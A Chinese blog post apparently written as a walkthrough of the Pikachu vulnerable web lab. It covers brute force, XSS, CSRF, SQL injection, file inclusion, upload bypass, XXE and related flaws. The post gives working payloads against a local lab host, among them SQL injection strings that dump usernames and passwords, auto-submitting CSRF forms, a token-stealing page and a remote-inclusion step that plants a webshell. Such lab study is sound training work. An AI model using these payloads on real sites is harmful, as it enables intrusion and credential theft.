• 【Web安全】pikachu靶场做题过程


    pikachu靶场

    暴力破解

    基于表单的暴力破解

    第一题是基于表单的暴力破解,随便输入账号密码,使用burpsuite抓包,发送到Intruder模块进行爆破,这里假设我们需要爆破admin管理员的数据:

    在这里插入图片描述

    接着设置payloads,这里导入我的密码集,点击start attack:

    在这里插入图片描述

    根据返回包的长度确定,密码为123456

    验证码绕过(on server)

    题目背景:我们并不知道管理员密码是多少,因为需要验证码所以爆破起来遇到了困难。

    点击F12查看验证码图片的元素可以发现,每点击一次就会发送到后端:

    <img src="../../inc/showvcode.php" onclick="this.src='../../inc/showvcode.php?'+new Date().getTime();">
    
    • 1
    • 我们先输入错误的验证码发现会显示验证码错误并且burpsuite抓到包了,所以得出这是后端验证的,和题目标题吻合。
    • 我们输入一个正确的验证码,会发现有两个包,其中最后一个包是发送到改变验证码脚本的,我们先试着把这个包放掉,看看后面的验证码可以使用前一个的不?

    在这里插入图片描述

    由上可知,当验证码正确的时候会校验账号密码。接着放掉第二个包不让验证码刷新,再提交一次表单,输入上一次的验证码,得到验证码可以再一次使用,所以可以进行上一关一样的爆破方法。

    在这里插入图片描述

    验证码绕过(on client)

    • 使用F12查看源代码,查看产生验证码的元素:
    <input type="text" onclick="createCode()" readonly="readonly" id="checkCode" class="unchanged" style="width: 100px">
    
    • 1
    • 通过上面的代码可以发现存在鼠标事件onclick,指向的是一个函数,我们查看这一个函数:

    在这里插入图片描述

    可以知道这是一个javascript函数,是个摆设我们只需要在浏览器设置禁用js代码即可实现绕过,之后的intruder模块破解密码同上。

    token防爆破?

    token参数是附在url中的,目的就是为了为每一个请求表单都附上唯一性,token很长,但也不是不可以绕过的,有时候token的值会在元素之中只不过被隐藏了而已。

    这一道题在我们进行请求的时候token的值附在了username和password后面,这说明token有可能在form表单之中只不过被隐藏了。

    在这里插入图片描述

    查看form表单,可以发现以下代码,token的的属性被设置为hidden这说明在页面之中是不显示的。

    <input type="hidden" name="token" value="2457165ec020f53c6e353867747">
    
    • 1

    burpsuite的intruder可以根据页面的内容来改变每一次的请求:

    首先将数据报发送到intruder模块,接着选中要爆破的对象,这里是密码和token值。Settings–>Grep-Extract–>Add–>fetch response接着选中token的值复制即可,模块会自动进行正则匹配,点击OK。

    在这里插入图片描述

    回到Payloads选项,将密码爆破对象配置好就行。

    在这里插入图片描述

    Cross-Site Scripting

    反射型xss(get)

    在输入框中随便输入一些东西,发现输入的内容回显至界面,F12查看回显内容的元素,因此构造闭合使用script标签。

    <p class="notice">who is 123123,i don't care!p>
    
    • 1

    在输入内容时候发现有长度限制,查看元素发现是前端有长度限制:

    <input class="xssr_in" type="text" maxlength="20" name="message">
    
    • 1

    对此我使用harkbar或者抓包修改:

    在这里插入图片描述

    http://192.168.221.129/pikachu/vul/xss/xss_reflected_get.php?message=123123&submit=submit
    
    • 1

    反射型xss(post)

    这一道题是需要登录进去的,所以我们使用管理员账号登录进去发现是一个输入框,我们可以在这里构造xss攻击。对于需要登录的xss攻击,攻击者可以构造带有脚本代码的url或者使用钓鱼网站让用户点击进行构造好的表单,由于cookie的有效期一般不是很短,所以攻击者可以获取用户有效的cookie。

    在这里插入图片描述

    存储型xss

    这类xss攻击危害型很大,会导致网络蠕虫攻击,每一个看到这个留言板的人都会执行脚本代码。

    123
    123
    
    • 1
    • 2

    DOM型xss

    DOM型xss是不会与数据库进行交互的,我们输入的内容会会回显到页面上,F12发现我们输入的东西会成为一个链接,所以使用javascript伪协议:

    在这里插入图片描述

    在这里插入图片描述

    <a href="javascript:alert(1)">what do you see?a>
    
    • 1

    DOM型xss-x

    这一关对输入的内容进行隐藏,隐藏的方式很简单也就是点击一下它的“伤心往事”就会弹出来了,第一个点击存在鼠标事件onclick:

    <a href="#" onclick="domxss()">有些费尽心机想要忘记的事情,后来真的就忘掉了a>
    
    • 1

    查看domxss函数发现,我们输入的内容没有进行过滤就直接拼接到第二个点击之中:

    在这里插入图片描述
    所以还是可以使用javascript伪协议:

    在这里插入图片描述

    xss之盲打

    打开网站发现这是一个反馈区,所以我们可以在反馈内容之中插入脚本代码,只要后台管理员看到了他的cookie就会被盗取

    在这里插入图片描述
    在这里插入图片描述

    xss之过滤

    输入发现

    123
    
    • 1

    在这里插入图片描述

    xss之htmlspeacialchars

    这一道题感觉使用的htmlspeacialchars函数没有用上,F12查看元素就会发现可以直接使用伪协议就不用想怎么去绕过了:

    在这里插入图片描述

    xss之href输出

    我们输入之后会出现一个跳转语句,F12查看元素发现输入的数据回显至href之中,所以使用javascript伪协议:

    在这里插入图片描述

    xss之js输出

    输入数据之后没有回显,想想是js输出那就试试找js代码,F12发现存在有js函数

    <script>
       $ms='123';
       if($ms.length != 0){
           if($ms == 'tmac'){
               $('#fromjs').text('tmac确实厉害,看那小眼神..')
           }else {
    //            alert($ms);
               $('#fromjs').text('无论如何不要放弃心中所爱..')
           }
    
       }
    </script>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    我们输入只要输入tmac就行了,所以我们构造if的闭合:

    1)('
    
    • 1

    CRSF

    CRSF(get)

    攻击者使用钓鱼网站诱惑用户点击,而去处就是修改用户信息的界面,由于用户本身有cookie而cookie有一定时效性所以伪造的网站可以修改受害者的信息。

    <a href="http://192.168.229.199/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=666&phonenum=666&add=666&email=666&submit=submit">hahahahahaa>
    
    • 1

    CSRF(post)

    <form action="http://192.168.229.202/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" id="register" method="post" >
    
       <input type=text name="sex" value=""/>
       <input type=password name="phonenum" value=""/>
       <input type=text name="add" value=""/>
       <input type=text name="email" value=""/>
       <input type=submit name="submit" value="submit"/>
    
    form>
    
    <script>
       var f = document.getElementById("register");
       f.elements["sex"].value = "test";
       f.elements["phonenum"].value = "test";
       f.elements["add"].value = "test";
       f.elements["email"].value = "test";
       setTimeout(function() { f.submit(); }, 1000);
    script>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    这一道题也是一样,攻击者可以伪造一个钓鱼网站来修改用户信息。同样上面的input元素也可以使用hidden隐藏起来。

    CSRF Token

    使用了token参数貌似可以避免CRSF钓鱼攻击,但是js其实可以爬取网站的源代码的,如下代码:

    <!DOCTYPE html>
    <html lang="en">
    
    <head>
       <meta charset="UTF-8">
       <meta name="viewport" content="width=device-width, initial-scale=1.0">
       <title>CSRF Token Fetcher</title>
       <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    </head>
    
    <body>
    
       <form action="http://192.168.221.129/pikachu/vul/csrf/csrftoken/token_get_edit.php" id="register" method="get">
           <input type="hidden" name="sex" value="crsf">
           <input type="hidden" name="phonenum" value="crsf">
           <input type="hidden" name="add" value="crsf">
           <input type="hidden" name="email" value="crsf">
           <input type="hidden" name="token" id="token" value="">
           <input type="submit" name="submit" value="Submit">
       </form>
    
       <script>
           document.addEventListener('DOMContentLoaded', function () {
               fetchToken();
           });
    
           function fetchToken() {
               fetch('http://192.168.221.129/pikachu/vul/csrf/csrftoken/token_get_edit.php')
                   .then(response => response.text())
                   .then(html => {
                       const parser = new DOMParser();
                       const doc = parser.parseFromString(html, 'text/html');
                       const tokenInput = doc.querySelector('input[type="hidden"][name="token"]');
                       if (tokenInput) {
                           const tokenValue = tokenInput.value;
                           document.getElementById('token').value = tokenValue;
                           alert('Token Value: ' + tokenValue); // 弹出警告框显示token值 
                       } else {
                           console.error('Failed to find the token input field.');
                       }
                   })
                   .catch(error => {
                       console.error('Error fetching token:', error);
                   });
           }  
       </script>
    
    </body>
    
    </html>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50

    在这里插入图片描述

    在这里插入图片描述

    SQL-Inject

    数字型注入(post)

    确认闭合方式,得到是数字型注入

    id=1'
    
    • 1

    查看字段数,得到字段数是2段

    id=1 order by 2
    id=1 order by 3
    
    • 1
    • 2

    查看回显位,发现1和2都可以

    id=-1 union select 1,2
    
    • 1

    获取数据

    id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
    id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
    id=-1 union select 1,group_concat(username,0x3a,password) from users
    
    • 1
    • 2
    • 3

    字符型注入(get)

    判断闭合发现这是单引号闭合

    ?name=a' -- #
    
    • 1

    接着直接获取全部数据就行了

    ?name=kobe' or '1'='1
    
    • 1

    或者使用报错注入获取想要的数据:

    ?name=kobe' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) and '1'='1 
    
    • 1
    ?name=kobe' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3) and '1'='1
    
    • 1
    ?name=kobe' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),3) and '1'='1 
    
    • 1

    搜索型注入

    简单输入一些东西发现这是使用了like模糊搜索,所以闭合的时候要加上百分号

    ?name=k%' or '1'='1'--+
    
    • 1

    所以可以知道这是百分号加上单引号闭合,由于尝试的时候有报错信息,所以直接使用报错注入

    ?name=k%' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+
    ?name=k%' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3)--+
    ?name=k%' or updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),3)--+
    
    • 1
    • 2
    • 3

    xx型注入

    由报错信息得知这是单引号加括号闭合,所以构造闭合

    ?name=1') --+
    
    • 1

    由于有报错信息所以使用报错注入

    ?name=1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+
    ?name=1') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3)--+
    ?name=1') and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),3)--+
    
    • 1
    • 2
    • 3

    ”insert/update“注入

    在注册一个账号然后登录进去,看到一个修改个人信息界面,在修改电话号后加一个单引号发现存在报错,所以进行闭合

    sex=123&phonenum=123'#&add=123&email=123&submit=submit
    
    • 1

    利用报错注入获取数据

    sex=123&phonenum=123' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)#&add=123&email=123&submit=submit
    sex=123&phonenum=123' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where  table_name='users' and table_schema=database())),3)#&add=123&email=123&submit=submit
    sex=123&phonenum=123' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),3)#&add=123&email=123&submit=submit
    
    • 1
    • 2
    • 3

    ”delete“注入

    随便加个单引号得出是数字型注入,并且由报错信息判断可以使用报错注入

    ?id=56 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)
    ?id=56 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3)
    ?id=56 and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),3)
    
    • 1
    • 2
    • 3

    "http header"注入

    登陆进去发现网站记录了我的ip地址,user agent,http accept和端口,所以我选择在user agent中注入:

    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where tabel_schema=database())),3) or '
    
    • 1

    在这里插入图片描述

    盲注(base on boolian)

    没有报错信息没有回显位,只有查询到和不查询到所以可以使用布尔盲注

    ?name=kobe' and substr(database(),1,1)='p
    
    • 1

    通过改变每一位猜测的数字可以得到数据。

    盲注(base on time)

    没有报错信息没有回显,并且搜索成功与否的界面是一样的,所以考虑使用时间盲注

    在这里插入图片描述

    宽字节注入

    使用%df与转移符号结合,使得引号有效

    在这里插入图片描述

    在这里插入图片描述

    RCE

    exec “ping”

    在这里插入图片描述

    exec “evel”

    这是一个evel危险函数,输入phpinfo();看一下效果:
    在这里插入图片描述

    File Inclusion

    File Inclusion(local)

    为了更好表现文件包含漏洞,我在服务端创建了一个test.txt,首先我们先进行抓包,然后参数filename为test.txt:
    在这里插入图片描述

    同时我们可以利用目录穿越../来获取敏感文件

    File Inclusion(remote)

    远程文件包含可以允许远程包含函数去读取远程站点上的代码文件,那就意味着。攻击者,可以自己搭一个站点,然后再上面放一个代码,这个代码文件就是攻击者自己控制的,它想怎么写就怎么写,然后在把对应的路径通过前端传到后台,那后台的包含函数,就会对远程路径下的文件进行加载,这个危害是非常大的,比如说,我们可以直接在远端去写一句话木马,然后让本地去执行,这意味着,我们直接把一句话木马,就放到了我们的目标站点上,然后就是实现了目标站点上的远程控制

    pikachu下有一个test目录,里面有一个txt文件,下面是这个文件的内容,意思就是创建一个shell.php文件,作用是一句话木马。

    ';
    fwrite($myfile,$txt);
    fclose($myfile);
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    首先先进行抓包,修改filename:

    在这里插入图片描述
    可以看到文件包含目录下出现了一个一句话木马文件:在这里插入图片描述

    Unsafe Filedownload

    Unsafe Filedownload

    点击球员图片进行下载,用burpsuite进行抓包,利用目录穿越修改下载地址:在这里插入图片描述

    Unsafe Fileupload

    client check

    这种检查是在用户的浏览器端进行的。它可能包括检查文件扩展名、文件大小等。这里使用phpinfo()进行测试。上传php文件会出现弹窗:
    在这里插入图片描述
    所以我们上传png文件,用burpsuite抓包,修改filenama的后缀在这里插入图片描述
    上传成功,得到文件保存路径,就可以访问了。

    MIME type

    MIME类型是一种标准,用来表示文件的格式。服务器可以检查上传文件的MIME类型,以确定它是否为可接受的类型。直接上传php文件,发现客户端没有对该文件进行拒绝,发送之后显示“上传的图片只能是jpg,jpeg,png格式的!”,所以推断服务器端对文件类型进行了限制。所以我们进行抓包,对请求头的Content-Type进行修改,对于Content-type是什么,可以自行搜索。在这里插入图片描述
    上传成功,得到文件保存路径,就可以访问了。

    getimagesize

    这个php函数会判断你上传文件的特点,比如说尺寸、文件头等等。常见的绕过方式为:文件头修改、双重扩展名、特别构造图像文件等。常见的文件头标志如下:

    • JPEG/JPG:FFD8FF
    • PG:89504E47
    • GIF:474946383961
    • HTML:68746D6C3E
      这里就使用GIF,其中474946383961是GIF89a的ASCII HEX的转换。在这里插入图片描述
    • 得到文件的路径之后还不可以直接访问,因为它会把文件当作图片来解析,此时就需要文件包含漏洞来解析。在这里插入图片描述

    Over Permission

    如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。
    一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对 对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。

    未授权

    首先这一道题先点击右上角得到账号密码,我这里是登录lucy的账号,进去之后开启抓包,点击查看个人信息,包里的usernama是可以随意改的,这就是未授权:在这里插入图片描述

    水平越权

    首先这一道题先点击右上角得到账号密码,我这里是登录lucy的账号,进去之后开启抓包,点击查看个人信息,包里的usernama是可以随意改的,这就是水平授权,这里和上面一样:在这里插入图片描述

    垂直越权

    首先我们先登录超级用户admin,点击新增用户将包发送到repeater,退出登录普通用户pikachu,将pikachu用户的cookie复制下来替换repeater里面的cookie,这样也可增加新用户,这就是水平越权。

    在这里插入图片描述

    …/…/

    目录遍历

    在这里插入图片描述

    敏感信息泄露

    IcanseeyourABC

    有时候为了测试会把一些信息放在源代码中然后就忘记删除了,这一关就是这样

    在这里插入图片描述

    php反序列化

    php反序列化漏洞

    class S{
       var $test = "pikachu";
       function __construct(){
           echo $this->test;
       }
    }
    $html='';
    if(isset($_POST['o'])){
       $s = $_POST['o'];
       if(!@$unser = unserialize($s)){
           $html.="

    大兄弟,来点劲爆点儿的!

    "
    ; }else{ $html.="

    {$unser->test}

    "
    ; } }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    查看源代码,传入**O:1:“S”:1:{s:4:“test”;s:29:“”;}**构造php反序列化漏洞

    XXE

    XXE漏洞

    if(isset($_POST['submit']) and $_POST['xml'] != null){
    
    
       $xml =$_POST['xml'];
    //    $xml = $test;
       $data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
       if($data){
           $html.="
    {$data}
    "
    ; }else{ $html.="

    XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?

    "
    ; } }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
      DOCTYPE foo [      ]>  <foo>&xxe;foo>
    
    • 1

    URL重定向

    不安全的URL跳转

    在这里插入图片描述

  • 相关阅读:
    Spring Boot + EasyUI Datebox和Datetimebox样例
    Golang context 原理分析
    clion安装C++远程linux开发并调试 从装centos虚拟机到完美开发调试
    学习Oracle数据库并对数据进行查询,插入等操作(四)
    Dreamweaver网页作业——紫罗兰永恒花园动漫价绍网页 7页,含有table表格,js表单验证还有首页视频。以及列表页。浮动布局。div+css+js
    深入理解 python 虚拟机:描述器的王炸应用-property、staticmethod 和 classmehtod
    网络工程知识(二)VLAN的基础和配置:802.1q帧;Access、Trunk、Hybrid接口工作模式过程与配置;VLANIF的小实验
    Rainbond结合NeuVector实践容器安全管理
    CMT2380F32模块开发7-reset例程
    啃完朋友分享给我的《Linux全解笔记》我都不敢说我懂linux了
  • 原文地址:https://blog.csdn.net/likinguuu/article/details/136631837